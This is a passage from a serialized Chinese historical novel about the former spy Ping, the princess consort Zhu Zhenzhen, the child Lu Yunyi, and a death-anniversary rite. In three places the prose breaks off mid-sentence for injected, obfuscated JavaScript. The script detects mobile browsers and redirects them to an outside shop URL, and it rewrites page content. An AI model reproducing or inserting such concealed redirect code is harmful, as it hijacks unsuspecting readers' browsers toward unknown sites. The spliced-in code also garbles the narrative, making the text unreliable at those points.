县城里的灯一盏一盏熄下去,远处偶尔传来狗叫。萍坐在屋顶上,怀里仍藏着不能见光的秘密,脑中仍有必须送回京城的机密。可那一刻,她竟不想立刻赶路。 她不知自己怎么了。 或许是因为朱珍珍太会把日子过得像日子。 哪怕明知有急事要回京,她也要在路边喝一碗热汤,要在渡口救一个姑娘,要在屋顶上分一口好酒。 卢明明明明着急,却仍随她。 萍明明该急着复命,却也一日一日慢了下来。 她知道自己不该沉迷。 那些薄绢仍藏在她身上,那些密记仍在她脑子里。每晚入睡前,她都会摸一摸陆棣贤给她的半块玉佩,提醒自己:你还有事未完。 可第二日天亮,朱珍珍在门外喊她:“萍儿,走了。” 她便又起身,同她一起上路。 这段时光像偷来的。 她从小到大,从来没有这样走过路。不是为了刺探,不是为了逃命,不是为了交差。只是跟着两个人,从一座城到另一座城,从一个渡口到另一个驿站。早晨赶路,午后喝茶,夜里住店。偶尔救一个人,查一桩事,也偶尔什么都不做,只是在路边看半日云。 自由这个东西,她从前没有见过。 乍一见,竟有些舍不得放手。 37.破庙分衣偷片春 有一晚,她们住在一处破庙里。 外头下雨,庙里漏水。卢明明去外头找柴,萍和朱珍珍靠在神台下避风。朱珍珍把外袍分了半边给萍,嘴里还嫌弃那破庙的神像太丑。 萍忽然问:“你一直这样吗?” 朱珍珍道:“哪样?” “想去哪便去哪,想说什么便说什么。” 朱珍珍笑了。 “也不是。小时候也被管。后来想开了。” “怎么想开的?” “人这一辈子,别人总要管你。父母管,夫君管,族里管,朝廷管,规矩管。既然怎么都有人管,那总得留一小块地方给自己吧。” 萍低头。 “若留不住呢?” 朱珍珍转头看她。 雨声打在破庙瓦上,噼里啪啦。 朱珍珍说:“那就偷一块。” 萍怔住。 朱珍珍又笑:“偷不到大的,偷小的。偷一日也好,偷一刻也好。总不能一辈子都替别人活。” 那夜之后,萍常常想起这句话。 她这一生,几乎都在替别人活。 替隐鸢司,替皇帝,替安国,替陆棣贤,替阿木尔。她没有真正想过,若有一日没有任务,她要去哪里,要做什么。 三人到京城外时,天气已经转暖。 路边柳条抽了新芽。 朱珍珍折了一枝柳,拿在手里晃,走了几步,忽然回头看萍。 “萍儿,我还真有些舍不得你。” 萍低着头,没有接话。 朱珍珍道:“你到京城投亲,若亲戚待你不好,你就来找我。” 萍说:“未必方便。” “有什么不方便?” 萍看向她。 朱珍珍这才像想起什么,笑了笑。 “也是,我还没告诉你我是谁。” 卢明明在旁边咳了一声。 朱珍珍没理他。 那日傍晚,她终于把自己的身份告诉萍。 她不是普通江湖女子。 卢明明也不叫卢明明。 他是明亲王陆棣铭。 而她,是明亲王妃朱珍珍。 朱珍珍说这话时,倒没有太大架子。她坐在客栈二楼窗边,手里拿着一只茶杯摇晃。 萍听完,许久没有说话。 明亲王。 萍那一瞬间,几乎本能地把许多线索串了起来。卢明明那一身不像江湖人的气度,那些他无意中露出的礼法习惯,那些他对朝政边事的了解,原来都有了来处。 朱珍珍看着她的脸,忍不住笑。 “吓着了?” 萍低声道:“没有。” “还说没有,你脸都白了。” 萍没有接话。 她忽然意识到,自己一路同行的两个人,竟与她原本要避开的皇权重新连了起来。她身上藏着不能见光的秘密,怀里有送不出去的情报,又偏偏遇见了明亲王与他的妻子。 世上的路,有时像故意绕回来。 朱珍珍看着她,正色道:“我告诉你,不是要你怕。你不是说要去京城投亲吗?若你亲戚还在,自然好。若不在,或遇到什么难处,便来明亲王府找我。” 萍抬头。 “我这样的人,不适合进王府。” 朱珍珍问:“你是什么样的人?” 萍答不上来。 朱珍珍也不追问,只从身上取下一枚小小的玉扣,递给她。 “拿着。真遇到难处,便让门房拿给我看。” 萍没有立刻接。 朱珍珍把玉扣塞到她手里。 “别什么都一个人扛。人要活下去,有时候也得会求人。” 萍低头看着那枚玉扣。 她身上已经有半块陆棣贤给的玉佩,如今又多了一枚朱珍珍给的玉扣。两件东西都不重,却都让她觉得手心发烫。 朱珍珍看着她,忽然伸手抱了抱她。 萍僵在那里。 朱珍珍拍了拍她的背。 “萍儿,不管你从前是谁,往后总可以试着为自己活几日。” 萍的眼眶一下热了。 她没有答应。 因为她知道,自己还不能。 可从那一刻起,她心里第一次有了这样的念头: 也许有一日,她真的可以不再替别人活。 三人就在京城外分开。 朱珍珍和陆棣铭回他们该回的地方。 萍进城,去寻她该复的命。 只是她那时还不知道,她这一去,已经找不到旧日的门了。 第二日,三人分开。 朱珍珍与陆棣铭入京。 萍独自进城。 她要去找旧线。 找能接收她带回来的东西的人。 可是京城已经不是她离开时的京城。 先皇死了。 新帝陆棣昤登基。 卫慬被污为反贼,家族倾覆。 隐鸢司被废。 那些隐在皇城阴影里的院落,有的封了,有的换了主人,有的干脆被夷平。她昔年认识的人,有人死,有人失踪,有人改名换姓,再也不肯认旧日身份。她用了几处暗号,都没有回应。又冒险去了一处旧接头点,只看见墙根长满荒草。 她带回来的情报,忽然成了无处可交的烫手之物。 更可怕的是,她不知道如今的朝廷还愿不愿意听。 新帝为何废隐鸢司? 卫慬为何成了反贼? 先皇的密诏,在新帝眼里还算不算密诏? 若她贸然现身,说自己是隐鸢司丁三十一,说自己随陆棣贤出使燕云,假死归国,带回燕云王庭机密,她会被当作功臣,还是被当成旧朝阴影里必须灭口的人? 她不知道。 萍在京城里徘徊了许久。 她住过最便宜的客店,也在破庙里过过夜。身上的银钱越来越少,伤也没有完全好。她本可以把那份情报找机会呈给官府,可每一次走到衙门口,又退了回来。 不是她怕死。 她怕自己一死,反倒害了陆棣贤和阿木尔。 她怕新朝追查她的来处,追查她如何假死,追查陆棣贤在燕云王庭中的作用。到那时,陆棣贤苦心经营的一切便全毁了。 她最后把薄绢烧了。 不是全烧。 那些真正无法让别人看见的图样和暗号,她一片一片投进火里。火舌卷上去时,她的手一直在抖。那些是她一路从燕云带回来的任务,也是她差点用命换来的东西。 烧完之后,她坐在黑暗里,觉得自己像亲手烧掉了这一生最后一次复命的可能。 可有些东西还留在她脑中。 燕云九部,暗道,连弩,瑞国商队,亲战派的名字。 她记得太熟。 熟到想忘也忘不掉。 后来安国并没有因此遭大祸。 这不是因为那份情报不重要。 而是陆棣贤在燕云王庭已经提前动了手。萍离开之前,她们借黑毡册里查到的瑞国暗账,让燕云王对几名亲战贵族起了疑。陆棣贤没有明说安国密探,也没有暴露萍,只把账中几个关键名字和铁料流向,以王庭内斗的方式递到燕云王面前。 燕云王不是傻子。 他可以利用瑞国,也能容忍部族之间争利,却不能容忍自己的王庭被瑞国商人牵着鼻子走。那之后,燕云内部清洗过几批人,几处南下暗道也被暂时封控。亲战派元气受损,边境得以安稳了几年。 所以萍没能把机密送到安国。 安国却也没有立刻因此遭祸。 这是陆棣贤留在燕云的结果。 也是萍后来很久才慢慢想明白的事。 任务没有完成。 可人活下来了一些。 这算不算成功,没人告诉她。 她终于成了一个没有任务的人。 隐鸢司没了。 先皇没了。 旧主、旧线、旧身份,全没了。 她忽然自由了。 可这自由来得太空。 一个从小被命令养大的人,突然没人命令她做什么,她竟不知该往哪里去。她可以离开京城,找个没人认识的地方生活;可以重新编一个身世,嫁人,做工,开一间小铺。可这些念头一出现,她便觉得茫然。 她不知道怎么为自己活。 朱珍珍的话又回到她耳边。 真遇到难处,便来明亲王府找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549241|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。 萍在王府外徘徊了两日。 第三日,她把那枚玉扣交给门房。 朱珍珍很快出来见她。 那时的朱珍珍已经换回王妃装束。衣裳贵了,发髻也端正了,可她走得仍快,眼神也还是路上那个朱珍珍。 “你怎么瘦成这样?”朱珍珍一见她便皱眉。 萍低下头。 “我亲戚死了。” 这是她编好的说辞。 她说自己到了京城,才知道原本要投奔的亲戚已经病故,家中也散了。她无处可去,只好厚着脸皮来找王妃。 朱珍珍没有追问。 她只是看着萍,像看见她身上还没愈合的伤。 “那就留下。”朱珍珍说。 萍怔住。 “王妃不问?” “你想说时,自然会说。”朱珍珍道,“不想说,我问了也没用。” 萍的眼眶忽然热了。 她低下头,很快把那点湿意压下去。 “奴婢愿意服侍王妃。” 朱珍珍叹了口气。 “怎么又奴婢了?我在路上白同你说那么多话。” 萍没有改口。 她改不了。 从那日起,萍留在了明亲王府。 她没告诉朱珍珍隐鸢司。 没告诉她密诏。 也没告诉她燕云、陆棣贤、阿木尔和那半块玉佩的真正来历。 她只做一个无处可去、来投奔旧友的女子。 朱珍珍接纳了她。 陆棣铭显然并不全信她。那位明亲王看她的眼神很深,像知道她身上有许多不能说的东西。可他没有逼问。或许是因为朱珍珍护着她,也或许是因为他自己同样有太多不能说的事。 萍在王府里安顿下来。 最初的日子,她很不习惯。 王府有规矩,却不是隐鸢司那样的规矩。这里没有木梆,没有暗号,没有人半夜把孩子拖出去。丫鬟们会因为厨房少给了一碟点心小声抱怨,也会因为王妃赏了一匹布高兴半日。那些琐碎的日子,在萍眼中陌生得像另一个世界。 她常常不知该做什么。 朱珍珍让她歇着,她便更不安。 没有任务的人,连歇着都像犯错。 朱珍珍发现后,干脆让她管些杂事。账册,库房,来客,采买。萍做得很好。她会看人,会算遗漏,会从一个仆妇的眼神里看出谁偷拿了银钱,也能从采买单子上看出哪家铺子虚报了价。 朱珍珍笑她:“你看,我就说你厉害。” 萍低头:“只是从前学过。” “从前在哪儿学的?” 萍沉默。 朱珍珍摆摆手:“好,不问。” 她总是这样。 问到了门口,又停住。 让萍既松一口气,又觉得愧疚。 因为朱珍珍从不逼她,她便更不敢说谎太多。 日子一天天过去。 萍有时会在夜里醒来,摸一摸怀里的半块玉佩。玉佩仍在。陆棣贤给她的那一半,阿木尔身边的那一半,都像把她扯在两个世界之间。 一个是燕云的风雪。 一个是王府的灯火。 她没有完成密诏。 也没有真正自由。 可她好像终于有了一个可以暂时停下来的地方。 直到朱珍珍有了身孕。 那一天,王府上下都很高兴。 朱珍珍却没有像寻常贵妇那样只顾着欢喜。她摸着还未显怀的腹部,对萍说:“我有点怕。” 萍问:“怕什么?” 朱珍珍想了想。 “怕我教不好孩子。” 萍看着她。 朱珍珍道:“我这样的人,自己都没活明白,怎么教孩子?” 萍低声道:“王妃会是好母亲。” 朱珍珍笑了笑。 “你怎么知道?” 萍没有立刻回答。 她想起陆棣贤。 想起阿木尔。 想起自己曾经不敢做母亲,也不能做母亲。 过了许久,她说:“因为王妃知道孩子不是物件。” 朱珍珍看着她,没再追问。 38.残玉双分照此身 后来,朱珍珍难产。 那一夜的血,萍一辈子都忘不了。 她见过死人,见过战场边缘的尸体,见过被刑讯后拖出去的人。可朱珍珍的血不一样。那血像把萍从旧梦里重新拽出来,让她再次明白,一个女子的命,有时候会被生生换成另一个人的命。 朱珍珍临死前,抓着她的手。 “萍儿,”她说,“你做她干妈。” 萍哭着摇头。 “我不会。” “你会。”朱珍珍的声音已经很弱,“你比我会活。” 萍想说,不是的。 她只会执行命令,只会藏秘密,只会看人脸色,只会在夹缝里活下来。她不会做母亲。她已经失去了一个孩子,怎么能再守一个孩子? 朱珍珍却不给她逃。 “别教她那些女戒女德。”朱珍珍说,“教她活。教她看人,教她藏,教她别被人吃了。” 萍泣不成声。 “把她当男孩养。”朱珍珍又说,“这个世道,男孩的路多些。哪怕也难,至少多些。” 萍握着她的手,只能点头。 后来,朱珍珍死了。 孩子活了。 陆棣铭抱起那个孩子,对所有人说:“今日出生的,是世子。” 那一刻,萍忽然明白,自己这一生又接到了一个任务。 可是这一次,给她任务的人不是皇帝,不是隐鸢司,不是密诏,也不是主子。 是一个快死的女人,把自己的女儿交到她手里。 萍抱过那个带着血气的小小孩子。 孩子哭声很弱,像随时会断。 萍低头看她。 她想起阿木尔。 想起自己没能抱着长大的孩子。 也想起陆棣贤说过的话:一个给他命,一个给他名。 如今朱珍珍给了这个孩子命。 陆棣铭给了她名。 而萍要给她一条活下去的路。 从那日起,萍不再只是萍。 成了陆云逸的干妈。 成了那个孩子在旧世里第一道不那么硬、却尽力挡着风的门。 只是她没有想到,许多年后,这个孩子会带着另一半玉佩,从黑石镇回来。 也没有想到,那块她以为留在草原、留在阿木尔身边、留在自己再也回不去的旧梦里的半璧,会重新摆到她面前。 像旧日终于找上门来。 让她这一生所有没有完成的任务、没有说出口的名字、没有抱够的孩子,都在一瞬间回到了听雪斋的灯下。 …… 萍很久没有说话。 听雪斋里的灯火不大,照得玉佩一半明,一半暗。那块玉重新合在一起后,纹路仍旧对得上,只是中间那道裂痕再也遮不住了。玉可以重圆,裂却还在。 陆云逸看着萍。 她没有催。 许多事听到这里,已经不必急着问了。萍的一生像一条被别人牵着走的线,从隐鸢司的暗屋里牵到燕云王庭,从陆棣贤帐中牵到朱珍珍的马前,又牵到明亲王府这座深宅里。她每一次转身,都像是在执行别人的命令。皇帝的命令,密诏的命令,公主的命令,临死之人的托付。 可若说她从未选过,也不全对。 她烧掉那些薄绢的时候,是选过的。 那一夜,京城一处破庙里,火盆很小。她把藏在鞋底、衣襟、针囊里的薄绢一片一片取出来,丢进火里。那些字细得像蚁,图线细得像发,却曾经压得她半条命都喘不过气。 燕云九部,南境暗道,连弩图样,瑞国商人的暗账。 每烧掉一片,她都觉得自己像在杀死一个旧日的自己。 丁三十一应该把它送出去。 隐鸢司养大的萍应该找到下一个能复命的人。 先皇的密诏,卫慬的交代,陆棣贤的布置,都不该在她手中断掉。 可她坐在火盆前,手却没有停。 因为她不知道那时的安国,还是不是可以接住这份东西的安国。先皇死了,卫慬成了反贼,隐鸢司被废,所有知道她身份的人都像夜里熄掉的灯。她若把自己送出去,或许能换来一声功劳,或许只会换来灭口;她若说出燕云旧事,陆棣贤与阿木尔也可能被卷进去。 她那时已经太累了。 累到不想再替任何一个看不见的人去死。 这算不算懦弱? 许多年里,萍一直问自己。 若朱珍珍没有救她,若她没有在那段路上尝过一点不必执行命令的日子,若她没有听朱珍珍说“往后总可以试着为自己活几日”,她也许会继续往前走,直到把自己交给某一处衙门,交给某一把新刀,交给某一个她根本不认识的新主子。 可她偏偏见过了。 见过朱珍珍在渡口救下卖唱女,见过卢明明嘴上冷淡却替她们兜底,见过有人可以不为皇命、不为密诏、不为功劳,只因为看见了,便伸一伸手。 那一点自由太少了。 少得像从指缝里漏下的一点光。 可对萍来说,已经足够让她舍不得再把自己原样送回黑暗里。 她对不起陆棣贤吗? 这个问题也缠了她很多年。 陆棣贤让她回来,是要她把那份东西带回安国。她没有做到。她把一部分秘密烧了,把一部分秘密埋在脑子里,把自己藏进明亲王府,成了王妃身边一个来历含糊的旧人。 可是后来边境没有立刻大乱。 燕云内部清洗了亲瑞的人,南境几处暗道被封,连弩没有大规模出现在安国边城。萍后来慢慢明白,陆棣贤在送她走之前,已经把能做的都做了。那个女人把她推出燕云,不只是为了让她完成密诏,也是在给她留一条生路。 陆棣贤比她更早明白,有些任务未必一定要由一个人的死来完成。 可萍还是不能轻易原谅自己。 因为她活下来了。 活下来的人,总要替死去的、留下的、不能说话的人受审。 朱珍珍死后,她又接过了另一个孩子。 她对自己说,这是朱珍珍托给她的事。她要教这个孩子活下去,要替这个孩子挡风,要让这个孩子在男人才能走的路上站稳。她做得很好。好到府里上下都知道,小世子的听雪斋,外人轻易进不得;好到陆云逸从小便学会了怎样藏住害怕,怎样看人,怎样在门里门外活成两个样子。 可这是不是自由? 萍有时也问自己。 她终于没有皇帝可效忠,没有隐鸢司可复命,没有密诏可送。可她仍旧留在一座王府里,守着另一个秘密,养着另一个不能按自己本来面目活的孩子。 她把陆云逸当女儿疼。 这是真的。 她也把朱珍珍临死前的话当成命令。 这也是真的。 人在旧世里活得久了,很难分清爱和责任,究竟哪一个先来,哪一个更重。许多时候,爱也是从责任里长出来的。抱得久了,守得久了,一夜一夜探过她额头的温度,一年一年替她束发、更衣、遮掩、担忧,那个孩子便不再只是托付。 是她的孩子。 不是血脉上的。 也不在名分上。 可萍知道,自己这一生真正做过母亲的时刻,并不只在生下阿木尔那一夜。 她也在听雪斋里,一点一点把另一个孩子养大。 只是她养大的这个孩子,最后仍旧走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆棣贤把它送给萍,是盼她知道自己不是工具。 萍把一半留给阿木尔,是盼那个孩子有朝一日知道,世上曾有一个不能做他母亲的女人,仍舍不得他。 萍把另一半给陆云逸,是盼这个被当成世子的女孩,出门时身上能有一点来自她的念想。 如今两半玉重圆,旧事却不能重圆。 陆棣贤仍在燕云王庭里,朱珍珍早已成了牌位,阿木尔流落在不知何处,陆云逸坐在她面前,病还没有好,也许还会走向更远、更难回头的地方。 萍终于收回手。 她看着陆云逸,像看着女儿,也像看着命运绕了半生后递回来的账。 萍不是忘了,她只是把这些事压得太久。 没有窗的屋子,草原上的风雪,亲手分开的玉佩,破庙里的劣酒,朱珍珍塞进她手心的小玉扣,烧掉薄绢时的火光;那个没能叫她一声娘的孩子,和眼前这个从小唤她干妈的孩子,从来没有离开过她。 只是从前不能说。 后来不敢说。 再后来,说了也不知道该从何说起。 她这一生,得到过一块玉。 又把它分给了两个孩子。 那不是权柄,不是功劳,也不是自由。 只是她在一生身不由己里,唯一能亲手分出去的一点真心。 39.霁檐奠烛隔幽馨 颜淞仍旧隔三差五来明亲王府。 起初是两日一来,后来改成三日,再后来陆云逸夜里能睡得安稳些,便四五日来一回。明亲王府的人已经习惯了这位年轻太医出入听雪斋。门房见了他,不再像最初那样层层通报,只低声请他进去;小厮会提前把药炉备好,丫鬟也知道颜太医诊治时不喜屋里人多,到了时辰便悄悄退下。 陆云逸的病,看起来确实一日比一日稳了。 她不再整夜惊醒,也不再把许多事说得支离破碎。颜淞问起旧事,她会答,却答得有分寸。说到某些地方,她便停下,说头疼。颜淞不逼。太医院治身病,有时候尚且急不得;何况这等离魂分魄之症,越是硬挖,越容易把人心里已经结痂的地方重新撕开。 萍儿也渐渐放下些心。 那日玉佩之事后,听雪斋里有些话再也回不到从前。陆云逸没有追问阿木尔,也没有逼她再说燕云。她好像体贴地把那扇门重新掩上,给萍儿留了喘息的时候。 日子过到腊月,顺天又落了一场大雪。 雪下了一整夜,到了清晨才停。王府屋檐上压着厚厚一层白,院中树枝被雪压弯,偶尔有一团雪从枝头落下来,砸在地上,发出闷闷的一声响。 这一日,是朱珍珍的忌日。 萍儿一早就醒了。 其实她几乎一夜没有睡实。 每年到了这一日,她心里总像被什么压住。王府上下都知道这日要祭王妃,洒扫、设馔、焚香、备酒,一件也不能错。可今年不同。陆云逸刚从病中稳下来,前些日子又在病里说了许多旧事。萍儿怕她伤神,原本想一切从简,悄悄祭过便罢。 谁知陆云逸自己先提了。 清晨用粥时,陆云逸看着窗外的雪,忽然说:“今日是母亲忌日吧。” 萍儿手里的匙子停了一下。 她抬头看陆云逸。 陆云逸脸色仍比从前苍白些,却很清醒。她不像病中那样眼神发空,也没有躲避。她只是平静地看着萍儿,像早已把这日记在心里。 自她记事起,每年这个时候,王府都会有这样一日。只是从前她年幼,不明白一个人的死能在活人心里留下多长的影子。后来长大些,便知道这一天不能嬉笑,不能胡闹,也不能问太多让父亲和萍儿为难的话。 今年不同。 她病了一场,想起了许多事,也听见了许多从前没有听过的旧事。正因如此,她更不能假装这一天不存在。 萍儿低声道:“你身子还没全好。今年不用你操心。” 陆云逸道:“不大办,只按家里的规矩祭一祭。我去上一炷香。” 萍儿没有立刻答应。 陆云逸又说:“不能因为我病了,便连她也不提。” 这句话落下,屋里静了片刻。 萍儿低下头,把粥碗往她面前推了推。 “先把粥吃了。”她说,“吃完再去。” 朱珍珍的牌位供在王府小祠旁一间偏静的屋里。 那屋子不是正祠,却比许多正堂还干净。每年忌日前一日,萍儿都亲自带人洒扫,擦供案,换香灰,洗杯盏。窗边那株老梅是朱珍珍生前种的。她生前嫌京中花木太讲究,说梅花被文人写得酸气重,不如野花野草活得痛快。可她自己偏又种了一株梅。 今年雪停后,那株梅上还有几朵迟开的花,红得不艳,却很实在。雪压着枝,花还在。 供案上已经摆好了祭馔。 王府是宗室之家,祭礼不能太粗疏。饭、羹、脯、果、酒,都按规矩摆了。白米饭一盏,肉羹一碗,酱肉一碟,炙羊肉一盘,另有蜜糕、桂花糖蒸栗粉糕、酥酪和几样干果。 朱珍珍生前爱吃肉,也爱吃甜。 这一点和她的性子很不相称。 她在江湖里行走,做事利落,骂人痛快,见不得旁人欺软怕硬。这样一个女子,偏偏吃饭时喜欢瘦一点的肉,喜欢甜糕,喜欢酥酪里多加蜜。萍儿从前笑她,说她的舌头不像侠女,倒像小孩子。 朱珍珍便理直气壮地说:“谁规定侠女只能啃冷饼喝烈酒?我辛辛苦苦行侠仗义,还不许我吃口甜的?” 想到这话,萍儿眼眶热了一下。 她很快低下头,把酒盏摆正。 陆云逸换了素色衣裳过来。 她没有穿丧服。忌日不是新丧,王府也不能年年披麻戴孝。她只穿了一件月白夹袍,腰间束得简单,头上也没有多余玉饰。病后人瘦,站在雪光里,显得比往日更清冷。 陆云逸看着那盘蜜糕,眼里浮出一点很淡的温意。 她没有见过朱珍珍。 可这些年,她一路游历,竟在许多地方见过母亲留下的痕迹。 在甘州,老妇人把她认成朱珍珍,哭着说当年若没有珍珍姐,自己早被人卖了。有人记得朱珍珍救过人,有人记得她替人出过头,也有人只模糊记得当年有个骑马佩刀的女子,嗓门亮,笑起来明快,吃饭时总嫌肉太老、糕太少。 那些痕迹没有刻在碑上,也没有写进官府文书里,只散在许多人的记忆中。那些痕迹都不大。可它们散在许多人的记忆里,像落在路边的火星。风一吹,不一定能烧成大火,却叫后来走到那里的人知道,她曾经来过。 正是这些零碎的记忆,让朱珍珍不只是王府里一块冷冷的牌位。 她曾在这世上热热闹闹地活过。 陆云逸想着这些,忽然觉得供案上的那盘蜜糕变得很苦。 萍儿让人端来水盆。 祭前要盥手。 陆云逸净了手,萍儿也净了手。丫鬟递上干净帕子,两人擦干手后,便在供案前站定。 陆云逸正要上前,外头忽然传来脚步声。 门外管事的声音压得很低,透着掩不住的紧张。 “世子殿下,萍儿姑娘,王爷和陛下到了。” 萍儿抬起头。 对于王爷的到来她并不意外。 朱珍珍忌日,陆棣铭每年都会回府。只是他一向来得安静,上香,奠酒,站一会儿,便走。有时父女二人在灵前遇见,也不过说几句平常话。 可皇帝为何也来?谁也没有提前得信。 她们来不及多问,门外已经响起内侍低低的声音。没有高声通传,也没有大队仪仗。陆棣铭与陆棣昤是一同进来的。 两人都穿着素色常服。 陆棣铭一身青灰,腰间只系一枚旧玉。陆棣昤则披着玄色大氅,里面也是素衣,身后只跟了两个近侍。若不看那份从骨子里压出来的气势,他今日倒不像皇帝,更像一个多年旧识,在旧人忌日来上一炷香。 可他终究是皇帝。 他一进门,屋里的空气便不一样了。 陆云逸、萍儿以及屋内伺候的人都要行礼。 陆棣昤抬手,道:“今日不必多礼。” 话虽如此,众人仍低身行过礼才起。 陆棣铭先看了陆云逸一眼。 “身子如何?” 陆云逸道:“已好多了。” 陆棣铭又看向萍儿。 萍儿低声道:“近来夜里安稳些,药也减了。” 陆棣铭点了点头。 他没有多问。 陆棣昤的目光也落在陆云逸脸上。 “瘦了。”皇帝说。 陆云逸垂眼:“病后未复,劳陛下挂心。” 陆棣昤没有再说。 他转头看向供案。 桌上饭羹酒馔都已经备好,香还未点,那盘炙羊肉和几样甜糕摆在供案右侧。 陆棣昤的目光停了一瞬。 “她还是这些口味。” 陆棣铭没有接话。 陆云逸也听见了。 她没有抬头,只看着香炉里新换的香灰。 陆棣铭走到案前,净手。 他是朱珍珍的夫君,今日家祭,理当由他先行。近侍和王府下人都退到一旁,屋里只剩雪后清冷的光和供案上几盏灯火。 陆棣铭取香,点燃。 香烟升起来,淡淡的,直往上走。陆棣铭把香插进炉中,又斟了一盏酒,双手奉到案前,缓缓洒下半盏,再将余下半盏放回供前。 他没有说长话,只低声道:“我回来了。” 陆云逸站在旁边,心口忽然有些闷。 她从小见惯了父亲的冷淡。可这些年她慢慢懂了,有些人的冷淡不是没有情,是情太深,又不敢让它露出来。陆棣铭站在牌位前,背影仍旧清瘦,仍旧沉默,可那沉默里像有一条暗河。 河水流了很多年,没人看见。 陆棣铭退开后,陆云逸上前。 她也点了一炷香。 萍儿原本想扶她跪,陆云逸轻轻摇头。 她跪了下去。 地上铺了垫子,却仍有寒意透上来。她的膝盖还有些虚,刚跪稳时身子轻轻晃了一下。萍儿的手抬了抬,最终没有扶。 陆云逸叩了三个头。 她没有在心里说太多话。 她只是想:母亲,我如今还是陆云逸,这身份是你用命换的,这条路,到现在还没有走完。 她起身时,萍儿扶了她一把。陆云逸没有逞强,借着萍儿的手站稳。 然后,萍儿也上前。 她不是朱珍珍的亲眷。 按王府规矩,她原本不该排在前头。可这些年朱珍珍忌日,她从来都会上一炷香。王府上下也没人说什么。陆棣铭从未拦过,朱珍珍若泉下有知,大约更不会拦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553271|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萍儿净过手,点香。 她站在朱珍珍牌位前,手指微微发紧。 这么多年了,她仍觉得自己有许多话没有同朱珍珍说完。 她想说,王妃,我把她养大了。 也想说,我其实没有你想的那样会活。 还想说,她如今病了,想起很多事,也问起很多事。我有时护得住她,有时又觉得自己只是把她送到另一条更难的路上。 可这些话都不能在众人面前说。 萍儿只把香插好,退后一步,深深拜下去。 陆云逸看着她的背影,忽然明白,自己母亲留给这世上的,不只是一个女儿。 还有萍儿这一生后半段的去处。 萍儿起身后,屋里静了一会儿。 众人的目光都下意识看向陆棣昤。 按礼,皇帝不必祭一个臣妇。 即便这是明亲王妃,即便她当年与陆家兄弟旧识,皇帝亲临已是极重,若再按家礼叩拜,便不合君臣尊卑。 陆棣昤自己却像早想好了。 他走到案前,净手,取香。 内侍想上前替他点火,被他抬手止住。 他亲自点了香。 香火亮起的一瞬,照得他的眉眼与陆棣铭更相像。双生兄弟站在同一间屋子里,一个是夫,一个是君;一个失去了妻子,一个也像失去了什么。那相似让屋中许多旧事变得更难分辨。 陆棣昤没有跪。 他把香插进炉中,又亲自斟了一盏酒,放在供案前。 “王妃一生磊落。”他说,“今日朕来,不过添一炷香。” 陆棣铭的脸色沉了沉,却没有开口。 陆棣昤看着牌位:“你从前总说,京城规矩多,人活得累。如今你倒清静了,把累人的事都留给活人。” 陆云逸垂着眼,想着不明白的问题。但死人不会答,活人不肯说。 陆棣昤上完香后,退了一步。 他转头看陆云逸:“今日祭过边回去歇着。病中不宜久立,也不宜伤神” 陆云逸道:“臣记下了。” 陆棣昤看了她片刻,道:“你母亲若在,见你病成这样,大约要骂你不会照顾自己。” 陆云逸道:“母亲也许会先骂旁人没有照顾好我。” 这话有些越了。 陆棣铭看了陆云逸一眼。 陆棣昤却笑了一下。 “像她会说的话。” 陆云逸没有再接。 陆棣昤又道:“不过她若真在,也未必舍得骂你。” 陆云逸抬头,看了皇帝一眼,皇帝神色如常。 陆棣铭忽然道:“外头雪后路滑,陛下不宜久留。” 陆棣昤看向他。 兄弟二人目光相对。 许多年过去,他们仍然像一面镜子的两边。脸相似,血相似,身份缠在一处。可一个坐在天下最高的位置,一个只能在王府里守着亡妻的牌位。谁也不比谁轻松,只是谁都不肯先低头。 过了片刻,陆棣昤道:“走吧。” 内侍和下人也跟着退了。 屋里重新安静下来。 供案前的香已经有四炷。 陆棣铭的,陆云逸的,萍儿的,皇帝的。 香烟往上升,在屋梁下缠在一处,很快分不清哪一缕是谁点的。可人活着的时候,却总要分出许多身份来:君臣,兄弟,夫妻,父女,主仆,旧识。每一层身份都像一重帘子,隔得久了,连真心也看不清。 陆云逸站在那里,看了很久。 萍儿走到她身边,低声道:“云逸,回去歇一会儿吧。” 陆云逸没有立刻动。 她看着牌位,又看了看供案上的肉和甜糕。 “干妈,”她轻声问,“母亲从前和陛下,也很熟吗?” 这个问题,她答不了。 她只能说:“他们年轻时或许都认识。” 陆云逸点了点头。 这不是答案。 可她也没有再问。 王府里的旧事,像雪下的路。表面上白白净净,踩上去才知道底下有泥,有石,也有前人早已留下的车辙。 朱珍珍已经死了。 可她留下的人,还都活在她的影子里。 陆棣铭活在里面。 萍儿活在里面。 也许皇帝也曾在边上站过片刻。 而陆云逸,是从那影子里生出来的人。 她抬眼看向窗外。 雪停了。 天地很白。 可她知道,白雪下面从来不是干净的空地。它只是暂时盖住了旧痕。等日头一出,雪水一化,许多藏在下面的东西,迟早还会露出来。 40.岁炉暖盏守安宁 